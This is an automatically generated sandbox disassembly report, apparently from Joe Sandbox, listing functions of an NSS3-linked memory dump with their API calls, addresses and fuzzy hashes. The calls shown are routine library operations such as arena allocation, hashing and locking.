Part of subcall function 6C789DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DC6
Part of subcall function 6C789DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DD1
Part of subcall function 6C789DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C789DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E8CB0
TlsGetValue.KERNEL32 ref: 6C6E8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C6E8CE5
PR_Unlock.NSS3(?), ref: 6C6E8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C6E8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E8D93

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 3adf0c400722a1a3849beb15885c31fbe2a027b4b08f15bc3a55c29393763714
Instruction ID: e8b91998f37497ffc3870179fa6f8607ce3e94a303538ac7d3c291b2430eee0a
Opcode Fuzzy Hash: 3adf0c400722a1a3849beb15885c31fbe2a027b4b08f15bc3a55c29393763714
Instruction Fuzzy Hash: DF312371A06201ABDB009F68CC48B9AB7A4BF5D318F240137EA1967BA0D771A924C7D5

Function 6C729D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C729C5B), ref: 6C729D82

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C729C5B), ref: 6C729DA9

Part of subcall function 6C721340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6BF599,?,00000000), ref: 6C72136A
Part of subcall function 6C721340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6BF599,?,00000000), ref: 6C72137E
Part of subcall function 6C721340: PL_ArenaGrow.NSS3(?,6C6BF599,?,00000000,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6BF599,?), ref: 6C7213CF
Part of subcall function 6C721340: PR_Unlock.NSS3(?,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6BF599,?,00000000), ref: 6C72145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C729C5B), ref: 6C729DCE

Part of subcall function 6C721340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6BF599,?,00000000), ref: 6C7213F0
Part of subcall function 6C721340: PL_ArenaGrow.NSS3(?,6C6BF599,?,?,?,00000000,00000000,?,6C6C895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C721445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C729C5B), ref: 6C729DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C729C5B), ref: 6C729DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C729C5B), ref: 6C729E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C729C5B), ref: 6C729E91

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

Part of subcall function 6C721560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C71FAAB,00000000), ref: 6C72157E
Part of subcall function 6C721560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C71FAAB,00000000), ref: 6C721592
Part of subcall function 6C721560: memset.VCRUNTIME140(?,00000000,?), ref: 6C721600
Part of subcall function 6C721560: PL_ArenaRelease.NSS3(?,?), ref: 6C721620
Part of subcall function 6C721560: PR_Unlock.NSS3(?), ref: 6C721639

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 67e0d131dda931bd99d9d0251e2d6ab05888b4e0ab17a3723cc82a5720fcd9be
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 1C419FB5A01602AFE700CF15DA44B92BBA5FF55348F188128D8184BFA1EB77E834CF90

Function 6C6EDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C6EDDEC

Part of subcall function 6C720840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7208B4

PK11_DigestBegin.NSS3(00000000), ref: 6C6EDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C6EDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C6EDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C6EDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6EDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6EDECC

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 8c4ebaaa3d38ed70eec55783340e888195baa964aa4f41a89970114c489a89be
Instruction ID: 9827694b1b101624f782595add7de530f457bf1d18b8d662bf6672f3a2bf7198
Opcode Fuzzy Hash: 8c4ebaaa3d38ed70eec55783340e888195baa964aa4f41a89970114c489a89be
Instruction Fuzzy Hash: 6C3109B29052146BEB00AF24AD09BBB36A8EF99708F050136ED09A7741FB31D915C6E6

Function 6C6C7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6C7E48

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C6C7E5B

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6C7E7B

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7E925C,?), ref: 6C6C7E92

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C6C7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C6C7EFA

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: c2fadd661eeb702d55411612ecf92066f70c49b62a4a2d581786aeb617866499
Instruction ID: 6b95613cf26767862c0fd37d99964698a4c3adc6b669e97c63dae1a964fe26ea
Opcode Fuzzy Hash: c2fadd661eeb702d55411612ecf92066f70c49b62a4a2d581786aeb617866499
Instruction Fuzzy Hash: 0431A1B3B012159BEB108B659D48B9777E8EF58358F194824DC65EBB41E730EC04C7E6

Function 6C71DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C71D9E4,00000000), ref: 6C71DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C71D9E4,00000000), ref: 6C71DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C71D9E4,00000000), ref: 6C71DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C71DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71DCAD

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 69c8efd4b8e30c70e53da256efe6a419afecd11174c4dfaebf32c80a4382e40b
Instruction ID: 3cc60fbb204e8272d08b56ce9a642c60f5a1d902536cec957f71a5ada4151513
Opcode Fuzzy Hash: 69c8efd4b8e30c70e53da256efe6a419afecd11174c4dfaebf32c80a4382e40b
Instruction Fuzzy Hash: B4318FB5A042009FD751CF19D988A92B7F8AF25358F188838E948CBB01E771E944CFA5

Function 6C6E2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C6DE728,?,00000038,?,?,00000000), ref: 6C6E2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C6E2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C6E2E9E
PR_Unlock.NSS3(?), ref: 6C6E2EAB
PR_Unlock.NSS3(?), ref: 6C6E2F0D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 835f2458e4e63075272248157573ff159e3bd7ec7ce6f8ca14cd2a009bd0fbd3
Instruction ID: f40080e549874c450c7fcc23910c43eb85acb1af39c6237989e18eb6d7e1eb51
Opcode Fuzzy Hash: 835f2458e4e63075272248157573ff159e3bd7ec7ce6f8ca14cd2a009bd0fbd3
Instruction Fuzzy Hash: 023128B5A00106ABEB005F24DC4986ABB76FF4935CB148175EC08C7A11FB31EC64C7D4

Function 6C701EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&pl,6C6E6295,?,00000000,?,00000001,S&pl,?), ref: 6C701ECB

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&pl,6C6E6295,?,00000000,?,00000001,S&pl,?), ref: 6C701EF1
EnterCriticalSection.KERNEL32(?), ref: 6C701F01
PR_SetError.NSS3(00000000,00000000), ref: 6C701F39

Part of subcall function 6C70FE20: TlsGetValue.KERNEL32(6C6E5ADC,?,00000000,00000001,?,?,00000000,?,6C6DBA55,?,?), ref: 6C70FE4B
Part of subcall function 6C70FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C70FE5F

PR_Unlock.NSS3(?), ref: 6C701F67

Strings

S&pl, xrefs: 6C701EA0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&pl
API String ID: 704537481-2936476039
Opcode ID: 64668bdad32484c009d1a04f95b1250383fe13d060ae13e501fe607088be335b
Instruction ID: a60d3c186b7dae2d88d9f0455f7bbac11b19114b1909e3afaeb21c4a3045eff7
Opcode Fuzzy Hash: 64668bdad32484c009d1a04f95b1250383fe13d060ae13e501fe607088be335b
Instruction Fuzzy Hash: 372104F1B01204ABEB00AE69ED49E9A37E9AF4136DF184134FD0887B01E731E954C7E0

Function 6C72CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C72CD93,?), ref: 6C72CEEE

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C72CD93,?), ref: 6C72CEFC

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C72CD93,?), ref: 6C72CF0B

Part of subcall function 6C720840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7208B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C72CD93,?), ref: 6C72CF1D

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C72CD93,?,?,?,?,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF78

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 8a02bd2d345c3b1016f8daa077b95ca0152684d135803c9232dbbce83fb9a544
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: A511B7B6E003045BF720AA767E49B6BB5EC9F5454EF044039EC09D7B41FB65DA08C6B2

Function 6C6D8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6D8C1B
EnterCriticalSection.KERNEL32 ref: 6C6D8C34
PL_ArenaAllocate.NSS3 ref: 6C6D8C65
PR_Unlock.NSS3 ref: 6C6D8C9C
PR_Unlock.NSS3 ref: 6C6D8CB6

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

Strings

KRAM, xrefs: 6C6D8C8F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: bd9be607210cc84e23cd384b15f4cbb62d7e4ea189469b0dc2b8fd069730eb1d
Instruction ID: 985dfcc16d424b8094f2761187b9eeafdc5fa1109c740c0761ef1cbe88920f8f
Opcode Fuzzy Hash: bd9be607210cc84e23cd384b15f4cbb62d7e4ea189469b0dc2b8fd069730eb1d
Instruction Fuzzy Hash: E42160B1A05601DFD700AF79D488559BBF4FF09308F16896ED8888B711DB35E885CBDA

Function 6C6E8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C702E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6D4F1C), ref: 6C6E8EA2

Part of subcall function 6C70F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C70F854
Part of subcall function 6C70F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C70F868
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C70F882
Part of subcall function 6C70F820: free.MOZGLUE(04C483FF,?,?), ref: 6C70F889
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C70F8A4
Part of subcall function 6C70F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C70F8AB
Part of subcall function 6C70F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C70F8C9
Part of subcall function 6C70F820: free.MOZGLUE(280F10EC,?,?), ref: 6C70F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C702E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6D4F1C), ref: 6C6E8EC3
TlsGetValue.KERNEL32(?,?,?,6C702E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6D4F1C), ref: 6C6E8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C702E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C6E8EF1
PR_Unlock.NSS3 ref: 6C6E8F20

Strings

b.pl, xrefs: 6C6E8E96, 6C6E8F25

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.pl
API String ID: 1978757487-3917733883
Opcode ID: 0aa65c33333c48d05600ffd3c5e25f6451bb6fb1c546897f00b6dc75b1bff01d
Instruction ID: 73556a631c38c34df4d3af97b27d89054a4d0fe0e7f917de02227a3568208c81
Opcode Fuzzy Hash: 0aa65c33333c48d05600ffd3c5e25f6451bb6fb1c546897f00b6dc75b1bff01d
Instruction Fuzzy Hash: D52168B0A0A7059BC700AF29C588599BBF0BF4C358F01456FE8989BB51D730E854CBDA

Function 6C753E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C755B40: PR_GetIdentitiesLayer.NSS3 ref: 6C755B56

PR_EnterMonitor.NSS3(?), ref: 6C753E45

Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890AB
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890C9
Part of subcall function 6C789090: EnterCriticalSection.KERNEL32 ref: 6C7890E5
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C789116
Part of subcall function 6C789090: LeaveCriticalSection.KERNEL32 ref: 6C78913F

PR_EnterMonitor.NSS3(?), ref: 6C753E5C
PR_EnterMonitor.NSS3(?), ref: 6C753E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C753EA6

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PR_ExitMonitor.NSS3(?), ref: 6C753EC0
PR_ExitMonitor.NSS3(?), ref: 6C753ED7
PR_ExitMonitor.NSS3(?), ref: 6C753EEE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

